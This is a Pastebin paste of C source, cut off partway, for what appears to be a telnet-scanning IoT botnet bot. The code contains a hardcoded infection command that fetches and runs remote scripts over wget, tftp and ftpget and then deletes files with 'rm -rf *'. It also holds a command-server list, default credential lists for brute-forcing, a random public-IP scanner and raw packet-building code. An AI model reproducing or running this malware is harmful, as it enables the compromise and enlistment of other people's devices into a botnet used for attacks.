API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Apr 24th, 2019
115
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 70.09 KB | None | 0 0
raw download clone embed print report
  1. #define PR_SET_NAME 15
  2. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  3. #define PAD_RIGHT 1
  4. #define PAD_ZERO 2
  5. #define PRINT_BUF_LEN 12
  6. #define CMD_IAC 255
  7. #define CMD_WILL 251
  8. #define CMD_WONT 252
  9. #define CMD_DO 253
  10. #define CMD_DONT 254
  11. #define OPT_SGA 3
  12.  
  13. #include <stdlib.h>
  14. #include <stdarg.h>
  15. #include <stdio.h>
  16. #include <sys/socket.h>
  17. #include <sys/types.h>
  18. #include <netinet/in.h>
  19. #include <arpa/inet.h>
  20. #include <netdb.h>
  21. #include <signal.h>
  22. #include <strings.h>
  23. #include <string.h>
  24. #include <sys/utsname.h>
  25. #include <unistd.h>
  26. #include <fcntl.h>
  27. #include <errno.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/udp.h>
  30. #include <netinet/tcp.h>
  31. #include <sys/wait.h>
  32. #include <sys/ioctl.h>
  33. #include <net/if.h>
  34.  
  35. char *infectline = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://"+ ip +"/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp "+ ip +" -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g "+ ip +"; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 "+ ip +" ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; exit\r\n";
  36.  
  37. // WGET LINE GOES HERE ^
  38.  
  39. unsigned char *commServer[] =
  40. {
  41. ""+ ip +":23"
  42. };
  43.  
  44. int initConnection();
  45. int getBogos(unsigned char *bogomips);
  46. int getCores();
  47. int getCountry(unsigned char *buf, int bufsize);
  48. void makeRandomStr(unsigned char *buf, int length);
  49. int sockprintf(int sock, char *formatStr, ...);
  50. char *inet_ntoa(struct in_addr in);
  51.  
  52. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  53. uint32_t *pids;
  54. uint32_t scanPid;
  55. uint64_t numpids = 0;
  56. struct in_addr ourIP;
  57. unsigned char macAddress[6] = {0};
  58. char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0"};
  59. char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "\0", "password\0", "support\0"};
  60.  
  61. #define PHI 0x9e3779b9
  62. static uint32_t Q[4096], c = 362436;
  63.  
  64. void init_rand(uint32_t x)
  65. {
  66. int i;
  67.  
  68. Q[0] = x;
  69. Q[1] = x + PHI;
  70. Q[2] = x + PHI + PHI;
  71.  
  72. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  73. }
  74.  
  75. uint32_t rand_cmwc(void)
  76. {
  77. uint64_t t, a = 18782LL;
  78. static uint32_t i = 4095;
  79. uint32_t x, r = 0xfffffffe;
  80. i = (i + 1) & 4095;
  81. t = a * Q[i] + c;
  82. c = (uint32_t)(t >> 32);
  83. x = t + c;
  84. if (x < c) {
  85. x++;
  86. c++;
  87. }
  88. return (Q[i] = r - x);
  89. }
  90.  
  91. void trim(char *str)
  92. {
  93. int i;
  94. int begin = 0;
  95. int end = strlen(str) - 1;
  96.  
  97. while (isspace(str[begin])) begin++;
  98.  
  99. while ((end >= begin) && isspace(str[end])) end--;
  100. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  101.  
  102. str[i - begin] = '\0';
  103. }
  104.  
  105. static void printchar(unsigned char **str, int c)
  106. {
  107. if (str) {
  108. **str = c;
  109. ++(*str);
  110. }
  111. else (void)write(1, &c, 1);
  112. }
  113.  
  114. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  115. {
  116. register int pc = 0, padchar = ' ';
  117.  
  118. if (width > 0) {
  119. register int len = 0;
  120. register const unsigned char *ptr;
  121. for (ptr = string; *ptr; ++ptr) ++len;
  122. if (len >= width) width = 0;
  123. else width -= len;
  124. if (pad & PAD_ZERO) padchar = '0';
  125. }
  126. if (!(pad & PAD_RIGHT)) {
  127. for ( ; width > 0; --width) {
  128. printchar (out, padchar);
  129. ++pc;
  130. }
  131. }
  132. for ( ; *string ; ++string) {
  133. printchar (out, *string);
  134. ++pc;
  135. }
  136. for ( ; width > 0; --width) {
  137. printchar (out, padchar);
  138. ++pc;
  139. }
  140.  
  141. return pc;
  142. }
  143.  
  144. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  145. {
  146. unsigned char print_buf[PRINT_BUF_LEN];
  147. register unsigned char *s;
  148. register int t, neg = 0, pc = 0;
  149. register unsigned int u = i;
  150.  
  151. if (i == 0) {
  152. print_buf[0] = '0';
  153. print_buf[1] = '\0';
  154. return prints (out, print_buf, width, pad);
  155. }
  156.  
  157. if (sg && b == 10 && i < 0) {
  158. neg = 1;
  159. u = -i;
  160. }
  161.  
  162. s = print_buf + PRINT_BUF_LEN-1;
  163. *s = '\0';
  164.  
  165. while (u) {
  166. t = u % b;
  167. if( t >= 10 )
  168. t += letbase - '0' - 10;
  169. *--s = t + '0';
  170. u /= b;
  171. }
  172.  
  173. if (neg) {
  174. if( width && (pad & PAD_ZERO) ) {
  175. printchar (out, '-');
  176. ++pc;
  177. --width;
  178. }
  179. else {
  180. *--s = '-';
  181. }
  182. }
  183.  
  184. return pc + prints (out, s, width, pad);
  185. }
  186.  
  187. static int print(unsigned char **out, const unsigned char *format, va_list args )
  188. {
  189. register int width, pad;
  190. register int pc = 0;
  191. unsigned char scr[2];
  192.  
  193. for (; *format != 0; ++format) {
  194. if (*format == '%') {
  195. ++format;
  196. width = pad = 0;
  197. if (*format == '\0') break;
  198. if (*format == '%') goto out;
  199. if (*format == '-') {
  200. ++format;
  201. pad = PAD_RIGHT;
  202. }
  203. while (*format == '0') {
  204. ++format;
  205. pad |= PAD_ZERO;
  206. }
  207. for ( ; *format >= '0' && *format <= '9'; ++format) {
  208. width *= 10;
  209. width += *format - '0';
  210. }
  211. if( *format == 's' ) {
  212. register char *s = (char *)va_arg( args, int );
  213. pc += prints (out, s?s:"(null)", width, pad);
  214. continue;
  215. }
  216. if( *format == 'd' ) {
  217. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  218. continue;
  219. }
  220. if( *format == 'x' ) {
  221. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  222. continue;
  223. }
  224. if( *format == 'X' ) {
  225. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  226. continue;
  227. }
  228. if( *format == 'u' ) {
  229. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  230. continue;
  231. }
  232. if( *format == 'c' ) {
  233. scr[0] = (unsigned char)va_arg( args, int );
  234. scr[1] = '\0';
  235. pc += prints (out, scr, width, pad);
  236. continue;
  237. }
  238. }
  239. else {
  240. out:
  241. printchar (out, *format);
  242. ++pc;
  243. }
  244. }
  245. if (out) **out = '\0';
  246. va_end( args );
  247. return pc;
  248. }
  249.  
  250. int zprintf(const unsigned char *format, ...)
  251. {
  252. va_list args;
  253. va_start( args, format );
  254. return print( 0, format, args );
  255. }
  256.  
  257. int szprintf(unsigned char *out, const unsigned char *format, ...)
  258. {
  259. va_list args;
  260. va_start( args, format );
  261. return print( &out, format, args );
  262. }
  263.  
  264.  
  265. int sockprintf(int sock, char *formatStr, ...)
  266. {
  267. unsigned char *textBuffer = malloc(2048);
  268. memset(textBuffer, 0, 2048);
  269. char *orig = textBuffer;
  270. va_list args;
  271. va_start(args, formatStr);
  272. print(&textBuffer, formatStr, args);
  273. va_end(args);
  274. orig[strlen(orig)] = '\n';
  275. zprintf("buf: %s\n", orig);
  276. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  277. free(orig);
  278. return q;
  279. }
  280.  
  281. static int *fdopen_pids;
  282.  
  283. int fdpopen(unsigned char *program, register unsigned char *type)
  284. {
  285. register int iop;
  286. int pdes[2], fds, pid;
  287.  
  288. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  289.  
  290. if (pipe(pdes) < 0) return -1;
  291. if (fdopen_pids == NULL) {
  292. if ((fds = getdtablesize()) <= 0) return -1;
  293. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  294. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  295. }
  296.  
  297. switch (pid = vfork())
  298. {
  299. case -1:
  300. close(pdes[0]);
  301. close(pdes[1]);
  302. return -1;
  303. case 0:
  304. if (*type == 'r') {
  305. if (pdes[1] != 1) {
  306. dup2(pdes[1], 1);
  307. close(pdes[1]);
  308. }
  309. close(pdes[0]);
  310. } else {
  311. if (pdes[0] != 0) {
  312. (void) dup2(pdes[0], 0);
  313. (void) close(pdes[0]);
  314. }
  315. (void) close(pdes[1]);
  316. }
  317. execl("/bin/sh", "sh", "-c", program, NULL);
  318. _exit(127);
  319. }
  320. if (*type == 'r') {
  321. iop = pdes[0];
  322. (void) close(pdes[1]);
  323. } else {
  324. iop = pdes[1];
  325. (void) close(pdes[0]);
  326. }
  327. fdopen_pids[iop] = pid;
  328. return (iop);
  329. }
  330.  
  331. int fdpclose(int iop)
  332. {
  333. register int fdes;
  334. sigset_t omask, nmask;
  335. int pstat;
  336. register int pid;
  337.  
  338. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  339. (void) close(iop);
  340. sigemptyset(&nmask);
  341. sigaddset(&nmask, SIGINT);
  342. sigaddset(&nmask, SIGQUIT);
  343. sigaddset(&nmask, SIGHUP);
  344. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  345. do {
  346. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  347. } while (pid == -1 && errno == EINTR);
  348. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  349. fdopen_pids[fdes] = 0;
  350. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  351. }
  352.  
  353. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  354. {
  355. int got = 1, total = 0;
  356. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  357. return got == 0 ? NULL : buffer;
  358. }
  359.  
  360. static const long hextable[] = {
  361. [0 ... 255] = -1,
  362. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  363. ['A'] = 10, 11, 12, 13, 14, 15,
  364. ['a'] = 10, 11, 12, 13, 14, 15
  365. };
  366.  
  367. long parseHex(unsigned char *hex)
  368. {
  369. long ret = 0;
  370. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  371. return ret;
  372. }
  373.  
  374. int wildString(const unsigned char* pattern, const unsigned char* string) {
  375. switch(*pattern)
  376. {
  377. case '\0': return *string;
  378. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  379. case '?': return !(*string && !wildString(pattern+1, string+1));
  380. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  381. }
  382. }
  383.  
  384. int getHost(unsigned char *toGet, struct in_addr *i)
  385. {
  386. struct hostent *h;
  387. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  388. return 0;
  389. }
  390.  
  391. void uppercase(unsigned char *str)
  392. {
  393. while(*str) { *str = toupper(*str); str++; }
  394. }
  395.  
  396. int getBogos(unsigned char *bogomips)
  397. {
  398. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  399. char linebuf[4096];
  400. while(fdgets(linebuf, 4096, cmdline) != NULL)
  401. {
  402. uppercase(linebuf);
  403. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  404. {
  405. unsigned char *pos = linebuf + 8;
  406. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  407. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  408. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  409. strcpy(bogomips, pos);
  410. close(cmdline);
  411. return 0;
  412. }
  413. memset(linebuf, 0, 4096);
  414. }
  415. close(cmdline);
  416. return 1;
  417. }
  418.  
  419. int getCores()
  420. {
  421. int totalcores = 0;
  422. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  423. char linebuf[4096];
  424. while(fdgets(linebuf, 4096, cmdline) != NULL)
  425. {
  426. uppercase(linebuf);
  427. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  428. memset(linebuf, 0, 4096);
  429. }
  430. close(cmdline);
  431. return totalcores;
  432.  
  433. }
  434.  
  435. void makeRandomStr(unsigned char *buf, int length)
  436. {
  437. int i = 0;
  438. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  439. }
  440.  
  441. int recvLine(int socket, unsigned char *buf, int bufsize)
  442. {
  443. memset(buf, 0, bufsize);
  444.  
  445. fd_set myset;
  446. struct timeval tv;
  447. tv.tv_sec = 30;
  448. tv.tv_usec = 0;
  449. FD_ZERO(&myset);
  450. FD_SET(socket, &myset);
  451. int selectRtn, retryCount;
  452. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  453. while(retryCount < 10)
  454. {
  455. sockprintf(mainCommSock, "PING");
  456.  
  457. tv.tv_sec = 30;
  458. tv.tv_usec = 0;
  459. FD_ZERO(&myset);
  460. FD_SET(socket, &myset);
  461. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  462. retryCount++;
  463. continue;
  464. }
  465.  
  466. break;
  467. }
  468. }
  469.  
  470. unsigned char tmpchr;
  471. unsigned char *cp;
  472. int count = 0;
  473.  
  474. cp = buf;
  475. while(bufsize-- > 1)
  476. {
  477. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  478. *cp = 0x00;
  479. return -1;
  480. }
  481. *cp++ = tmpchr;
  482. if(tmpchr == '\n') break;
  483. count++;
  484. }
  485. *cp = 0x00;
  486.  
  487. // zprintf("recv: %s\n", cp);
  488.  
  489. return count;
  490. }
  491.  
  492. int connectTimeout(int fd, char *host, int port, int timeout)
  493. {
  494. struct sockaddr_in dest_addr;
  495. fd_set myset;
  496. struct timeval tv;
  497. socklen_t lon;
  498.  
  499. int valopt;
  500. long arg = fcntl(fd, F_GETFL, NULL);
  501. arg |= O_NONBLOCK;
  502. fcntl(fd, F_SETFL, arg);
  503.  
  504. dest_addr.sin_family = AF_INET;
  505. dest_addr.sin_port = htons(port);
  506. if(getHost(host, &dest_addr.sin_addr)) return 0;
  507. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  508. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  509.  
  510. if (res < 0) {
  511. if (errno == EINPROGRESS) {
  512. tv.tv_sec = timeout;
  513. tv.tv_usec = 0;
  514. FD_ZERO(&myset);
  515. FD_SET(fd, &myset);
  516. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  517. lon = sizeof(int);
  518. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  519. if (valopt) return 0;
  520. }
  521. else return 0;
  522. }
  523. else return 0;
  524. }
  525.  
  526. arg = fcntl(fd, F_GETFL, NULL);
  527. arg &= (~O_NONBLOCK);
  528. fcntl(fd, F_SETFL, arg);
  529.  
  530. return 1;
  531. }
  532.  
  533. int listFork()
  534. {
  535. uint32_t parent, *newpids, i;
  536. parent = fork();
  537. if (parent <= 0) return parent;
  538. numpids++;
  539. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  540. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  541. newpids[numpids - 1] = parent;
  542. free(pids);
  543. pids = newpids;
  544. return parent;
  545. }
  546.  
  547. int negotiate(int sock, unsigned char *buf, int len)
  548. {
  549. unsigned char c;
  550.  
  551. switch (buf[1]) {
  552. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  553. case CMD_WILL:
  554. case CMD_WONT:
  555. case CMD_DO:
  556. case CMD_DONT:
  557. c = CMD_IAC;
  558. send(sock, &c, 1, MSG_NOSIGNAL);
  559. if (CMD_WONT == buf[1]) c = CMD_DONT;
  560. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  561. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  562. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  563. send(sock, &c, 1, MSG_NOSIGNAL);
  564. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  565. break;
  566.  
  567. default:
  568. break;
  569. }
  570.  
  571. return 0;
  572. }
  573.  
  574. int matchPrompt(char *bufStr)
  575. {
  576. char *prompts = ":>%$#\0";
  577.  
  578. int bufLen = strlen(bufStr);
  579. int i, q = 0;
  580. for(i = 0; i < strlen(prompts); i++)
  581. {
  582. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  583. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  584. }
  585.  
  586. return 0;
  587. }
  588.  
  589. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  590. {
  591. int bufferUsed = initialIndex, got = 0, found = 0;
  592. fd_set myset;
  593. struct timeval tv;
  594. tv.tv_sec = timeout;
  595. tv.tv_usec = timeoutusec;
  596. unsigned char *initialRead = NULL;
  597.  
  598. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  599. {
  600. FD_ZERO(&myset);
  601. FD_SET(fd, &myset);
  602. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  603. initialRead = buffer + bufferUsed;
  604. got = recv(fd, initialRead, 1, 0);
  605. if(got == -1 || got == 0) return 0;
  606. bufferUsed += got;
  607. if(*initialRead == 0xFF)
  608. {
  609. got = recv(fd, initialRead + 1, 2, 0);
  610. if(got == -1 || got == 0) return 0;
  611. bufferUsed += got;
  612. if(!negotiate(fd, initialRead, 3)) return 0;
  613. } else {
  614. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  615. }
  616. }
  617.  
  618. if(found) return 1;
  619. return 0;
  620. }
  621.  
  622. static uint8_t ipState[5];
  623. in_addr_t getRandomPublicIP()
  624. {
  625. if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
  626. {
  627. ipState[1]++;
  628. ipState[2]++;
  629. ipState[3]++;
  630. ipState[4]++;
  631. char ip[16];
  632. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  633. return inet_addr(ip);
  634. }
  635.  
  636. ipState[1] = 0;
  637. ipState[2] = 0;
  638. ipState[3] = 0;
  639. ipState[4] = 0;
  640. while(
  641. (ipState[1] == 0) ||
  642. (ipState[1] == 10) ||
  643. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  644. (ipState[1] == 127) ||
  645. (ipState[1] == 169 && ipState[2] == 254) ||
  646. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  647. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  648. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  649. (ipState[1] == 192 && ipState[2] == 168) ||
  650. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  651. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  652. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  653. (ipState[1] >= 224)
  654. )
  655. {
  656. ipState[1] = rand() % 150;
  657. ipState[2] = rand() % 150;
  658. ipState[3] = rand() % 150;
  659. ipState[4] = rand() % 150;
  660. }
  661.  
  662. char ip[16];
  663. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  664. return inet_addr(ip);
  665. }
  666.  
  667. in_addr_t getRandomIP(in_addr_t netmask)
  668. {
  669. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  670. return tmp ^ ( rand_cmwc() & ~netmask);
  671. }
  672.  
  673. unsigned short csum (unsigned short *buf, int count)
  674. {
  675. register uint64_t sum = 0;
  676. while( count > 1 ) { sum += *buf++; count -= 2; }
  677. if(count > 0) { sum += *(unsigned char *)buf; }
  678. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  679. return (uint16_t)(~sum);
  680. }
  681.  
  682. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  683. {
  684.  
  685. struct tcp_pseudo
  686. {
  687. unsigned long src_addr;
  688. unsigned long dst_addr;
  689. unsigned char zero;
  690. unsigned char proto;
  691. unsigned short length;
  692. } pseudohead;
  693. unsigned short total_len = iph->tot_len;
  694. pseudohead.src_addr=iph->saddr;
  695. pseudohead.dst_addr=iph->daddr;
  696. pseudohead.zero=0;
  697. pseudohead.proto=IPPROTO_TCP;
  698. pseudohead.length=htons(sizeof(struct tcphdr));
  699. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  700. unsigned short *tcp = malloc(totaltcp_len);
  701. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  702. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  703. unsigned short output = csum(tcp,totaltcp_len);
  704. free(tcp);
  705. return output;
  706. }
  707.  
  708. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  709. {
  710. iph->ihl = 5;
  711. iph->version = 4;
  712. iph->tos = 0;
  713. iph->tot_len = sizeof(struct iphdr) + packetSize;
  714. iph->id = rand_cmwc();
  715. iph->frag_off = 0;
  716. iph->ttl = MAXTTL;
  717. iph->protocol = protocol;
  718. iph->check = 0;
  719. iph->saddr = source;
  720. iph->daddr = dest;
  721. }
  722.  
  723. int sclose(int fd)
  724. {
  725. if(3 > fd) return 1;
  726. close(fd);
  727. return 0;
  728. }
  729.  
  730. void StartTheLelz()
  731. {
  732. int max = (getdtablesize() / 4) * 3, i, res;
  733. fd_set myset;
  734. struct timeval tv;
  735. socklen_t lon;
  736. int valopt;
  737.  
  738. max = max > 4096 ? 4096 : max;
  739.  
  740. struct sockaddr_in dest_addr;
  741. dest_addr.sin_family = AF_INET;
  742. dest_addr.sin_port = htons(23);
  743. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  744.  
  745. struct telstate_t
  746. {
  747. int fd;
  748. uint32_t ip;
  749. uint8_t state;
  750. uint8_t complete;
  751. uint8_t usernameInd;
  752. uint8_t passwordInd;
  753. uint32_t totalTimeout;
  754. uint16_t bufUsed;
  755. char *sockbuf;
  756. } fds[max];
  757. memset(fds, 0, max * (sizeof(int) + 1));
  758. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  759. struct timeval timeout;
  760. timeout.tv_sec = 5;
  761. timeout.tv_usec = 0;
  762. while(1)
  763. {
  764. for(i = 0; i < max; i++)
  765. {
  766. switch(fds[i].state)
  767. {
  768. case 0:
  769. {
  770. memset(fds[i].sockbuf, 0, 1024);
  771.  
  772. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  773. else {
  774. fds[i].passwordInd++;
  775. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  776. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  777. }
  778. dest_addr.sin_family = AF_INET;
  779. dest_addr.sin_port = htons(23);
  780. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  781. dest_addr.sin_addr.s_addr = fds[i].ip;
  782. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  783. setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  784. setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  785. if(fds[i].fd == -1) { continue; }
  786. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  787. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  788. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  789. }
  790. break;
  791.  
  792. case 1:
  793. {
  794. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  795.  
  796. FD_ZERO(&myset);
  797. FD_SET(fds[i].fd, &myset);
  798. tv.tv_sec = 0;
  799. tv.tv_usec = 10000;
  800. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  801. if(res == 1)
  802. {
  803. lon = sizeof(int);
  804. valopt = 0;
  805. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  806. if(valopt)
  807. {
  808. sclose(fds[i].fd);
  809. fds[i].state = 0;
  810. fds[i].complete = 1;
  811. } else {
  812. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  813. fds[i].totalTimeout = 0;
  814. fds[i].bufUsed = 0;
  815. memset(fds[i].sockbuf, 0, 1024);
  816. fds[i].state = 2;
  817. continue;
  818. }
  819. } else if(res == -1)
  820. {
  821. sclose(fds[i].fd);
  822. fds[i].state = 0;
  823. fds[i].complete = 1;
  824. }
  825.  
  826. if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  827. {
  828. sclose(fds[i].fd);
  829. fds[i].state = 0;
  830. fds[i].complete = 1;
  831. }
  832. }
  833. break;
  834.  
  835. case 2:
  836. {
  837. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  838. if(matchPrompt(fds[i].sockbuf)) {
  839. fds[i].state = 7;
  840. }
  841.  
  842. if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  843. {
  844. fds[i].totalTimeout = 0;
  845. fds[i].bufUsed = 0;
  846. memset(fds[i].sockbuf, 0, 1024);
  847. fds[i].state = 3;
  848. continue;
  849. } else {
  850. fds[i].bufUsed = strlen(fds[i].sockbuf);
  851. }
  852.  
  853. if(fds[i].totalTimeout + 30 < time(NULL))
  854. {
  855. sclose(fds[i].fd);
  856. fds[i].state = 0;
  857. fds[i].complete = 1;
  858. }
  859. }
  860. break;
  861.  
  862. case 3:
  863. {
  864. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  865. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  866. fds[i].state = 4;
  867. }
  868. break;
  869.  
  870. case 4:
  871. {
  872. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  873.  
  874. if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  875. {
  876. fds[i].totalTimeout = 0;
  877. fds[i].bufUsed = 0;
  878. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  879. else fds[i].state = 7;
  880. memset(fds[i].sockbuf, 0, 1024);
  881. continue;
  882. } else {
  883. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  884. fds[i].bufUsed = strlen(fds[i].sockbuf);
  885. }
  886.  
  887. if(fds[i].totalTimeout + 8 < time(NULL)) //was if(fds[i].totalTimeout + 8 < time(NULL))
  888. {
  889. sclose(fds[i].fd);
  890. fds[i].state = 0;
  891. fds[i].complete = 1;
  892. }
  893. }
  894. break;
  895.  
  896. case 5:
  897. {
  898. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  899. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  900. fds[i].state = 6;
  901. }
  902. break;
  903.  
  904. case 6:
  905. {
  906. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  907.  
  908. if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  909. {
  910. fds[i].totalTimeout = 0;
  911. fds[i].bufUsed = 0;
  912. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
